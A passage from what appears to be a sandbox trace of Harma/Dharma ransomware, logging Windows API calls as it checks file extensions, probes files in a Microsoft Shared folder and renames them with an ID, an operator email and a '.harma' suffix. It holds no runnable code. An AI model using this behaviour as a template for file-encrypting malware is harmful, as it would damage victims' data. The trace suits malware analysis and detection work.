Shared\\ink\\hwrusalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.896] lstrlenW (lpString=".doc") returned 4 [0133.896] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString=".docx") returned 5 [0133.896] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0133.896] lstrlenW (lpString=".pdf") returned 4 [0133.896] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString=".xls") returned 4 [0133.896] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString=".xlsx") returned 5 [0133.896] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0133.896] lstrlenW (lpString=".ppt") returned 4 [0133.896] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.896] lstrlenW (lpString=".zip") returned 4 [0133.896] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString=".rar") returned 4 [0133.896] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0133.896] lstrlenW (lpString=".bz2") returned 4 [0133.896] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0133.896] lstrlenW (lpString=".7z") returned 3 [0133.896] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString=".dbf") returned 4 [0133.897] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString=".1cd") returned 4 [0133.897] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString=".jpg") returned 4 [0133.897] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString=".doc") returned 4 [0133.897] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString=".docx") returned 5 [0133.897] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0133.897] lstrlenW (lpString=".pdf") returned 4 [0133.897] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString=".xls") returned 4 [0133.897] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString=".xlsx") returned 5 [0133.897] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0133.897] lstrlenW (lpString=".ppt") returned 4 [0133.897] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.897] lstrlenW (lpString=".zip") returned 4 [0133.897] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString=".rar") returned 4 [0133.897] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0133.897] lstrlenW (lpString=".bz2") returned 4 [0133.897] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0133.897] lstrlenW (lpString=".7z") returned 3 [0133.897] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0133.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.898] lstrlenW (lpString=".dbf") returned 4 [0133.898] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0133.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.898] lstrlenW (lpString=".1cd") returned 4 [0133.898] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0133.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0133.898] lstrlenW (lpString=".jpg") returned 4 [0133.898] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0133.898] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.898] lstrlenW (lpString="ipscat.xml") returned 10 [0133.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.898] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2592) returned 1 [0133.898] CloseHandle (hObject=0x324) returned 1 [0133.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0133.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.899] lstrlenW (lpString=".doc") returned 4 [0133.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString=".docx") returned 5 [0133.899] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.899] lstrlenW (lpString=".pdf") returned 4 [0133.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString=".xls") returned 4 [0133.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString=".xlsx") returned 5 [0133.899] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.899] lstrlenW (lpString=".ppt") returned 4 [0133.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.899] lstrlenW (lpString=".zip") returned 4 [0133.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.899] lstrlenW (lpString=".rar") returned 4 [0133.899] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString=".bz2") returned 4 [0133.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.899] lstrlenW (lpString=".7z") returned 3 [0133.899] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.899] lstrlenW (lpString=".dbf") returned 4 [0133.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString=".1cd") returned 4 [0133.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString=".jpg") returned 4 [0133.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString=".doc") returned 4 [0133.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString=".docx") returned 5 [0133.900] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.900] lstrlenW (lpString=".pdf") returned 4 [0133.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString=".xls") returned 4 [0133.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString=".xlsx") returned 5 [0133.900] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.900] lstrlenW (lpString=".ppt") returned 4 [0133.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString=".zip") returned 4 [0133.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.900] lstrlenW (lpString=".rar") returned 4 [0133.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString=".bz2") returned 4 [0133.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.900] lstrlenW (lpString=".7z") returned 3 [0133.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.900] lstrlenW (lpString=".dbf") returned 4 [0133.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.901] lstrlenW (lpString=".1cd") returned 4 [0133.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0133.901] lstrlenW (lpString=".jpg") returned 4 [0133.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.901] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.901] lstrlenW (lpString="ipschs.xml") returned 10 [0133.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.901] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2462) returned 1 [0133.901] CloseHandle (hObject=0x324) returned 1 [0133.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0133.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString=".doc") returned 4 [0133.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString=".docx") returned 5 [0133.902] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0133.902] lstrlenW (lpString=".pdf") returned 4 [0133.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString=".xls") returned 4 [0133.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString=".xlsx") returned 5 [0133.902] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0133.902] lstrlenW (lpString=".ppt") returned 4 [0133.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString=".zip") returned 4 [0133.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.902] lstrlenW (lpString=".rar") returned 4 [0133.902] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString=".bz2") returned 4 [0133.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString=".7z") returned 3 [0133.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString=".dbf") returned 4 [0133.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString=".1cd") returned 4 [0133.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.902] lstrlenW (lpString=".jpg") returned 4 [0133.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString=".doc") returned 4 [0133.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString=".docx") returned 5 [0133.903] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0133.903] lstrlenW (lpString=".pdf") returned 4 [0133.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString=".xls") returned 4 [0133.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString=".xlsx") returned 5 [0133.903] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0133.903] lstrlenW (lpString=".ppt") returned 4 [0133.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString=".zip") returned 4 [0133.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.903] lstrlenW (lpString=".rar") returned 4 [0133.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString=".bz2") returned 4 [0133.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString=".7z") returned 3 [0133.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString=".dbf") returned 4 [0133.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString=".1cd") returned 4 [0133.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0133.903] lstrlenW (lpString=".jpg") returned 4 [0133.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.904] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.904] lstrlenW (lpString="ipscht.xml") returned 10 [0133.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.905] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2436) returned 1 [0133.905] CloseHandle (hObject=0x324) returned 1 [0133.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0133.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.905] lstrlenW (lpString=".doc") returned 4 [0133.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.905] lstrlenW (lpString=".docx") returned 5 [0133.905] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.905] lstrlenW (lpString=".pdf") returned 4 [0133.905] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.905] lstrlenW (lpString=".xls") returned 4 [0133.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.905] lstrlenW (lpString=".xlsx") returned 5 [0133.905] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.905] lstrlenW (lpString=".ppt") returned 4 [0133.905] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.905] lstrlenW (lpString=".zip") returned 4 [0133.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.906] lstrlenW (lpString=".rar") returned 4 [0133.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString=".bz2") returned 4 [0133.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString=".7z") returned 3 [0133.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.906] lstrlenW (lpString=".dbf") returned 4 [0133.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.906] lstrlenW (lpString=".1cd") returned 4 [0133.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.906] lstrlenW (lpString=".jpg") returned 4 [0133.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.906] lstrlenW (lpString=".doc") returned 4 [0133.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString=".docx") returned 5 [0133.906] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.906] lstrlenW (lpString=".pdf") returned 4 [0133.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.906] lstrlenW (lpString=".xls") returned 4 [0133.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.907] lstrlenW (lpString=".xlsx") returned 5 [0133.907] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.907] lstrlenW (lpString=".ppt") returned 4 [0133.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.907] lstrlenW (lpString=".zip") returned 4 [0133.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.907] lstrlenW (lpString=".rar") returned 4 [0133.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.907] lstrlenW (lpString=".bz2") returned 4 [0133.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.907] lstrlenW (lpString=".7z") returned 3 [0133.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.907] lstrlenW (lpString=".dbf") returned 4 [0133.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.907] lstrlenW (lpString=".1cd") returned 4 [0133.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0133.908] lstrlenW (lpString=".jpg") returned 4 [0133.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.908] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.908] lstrlenW (lpString="ipscsy.xml") returned 10 [0133.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.908] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2556) returned 1 [0133.908] CloseHandle (hObject=0x324) returned 1 [0133.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0133.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.911] lstrlenW (lpString=".doc") returned 4 [0133.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString=".docx") returned 5 [0133.911] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0133.911] lstrlenW (lpString=".pdf") returned 4 [0133.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString=".xls") returned 4 [0133.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString=".xlsx") returned 5 [0133.911] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0133.911] lstrlenW (lpString=".ppt") returned 4 [0133.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.911] lstrlenW (lpString=".zip") returned 4 [0133.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.911] lstrlenW (lpString=".rar") returned 4 [0133.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString=".bz2") returned 4 [0133.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString=".7z") returned 3 [0133.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.911] lstrlenW (lpString=".dbf") returned 4 [0133.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.911] lstrlenW (lpString=".1cd") returned 4 [0133.912] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.912] lstrlenW (lpString=".jpg") returned 4 [0133.912] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.912] lstrlenW (lpString=".doc") returned 4 [0133.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString=".docx") returned 5 [0133.912] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0133.912] lstrlenW (lpString=".pdf") returned 4 [0133.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString=".xls") returned 4 [0133.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString=".xlsx") returned 5 [0133.912] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0133.912] lstrlenW (lpString=".ppt") returned 4 [0133.912] lstrcmpiW 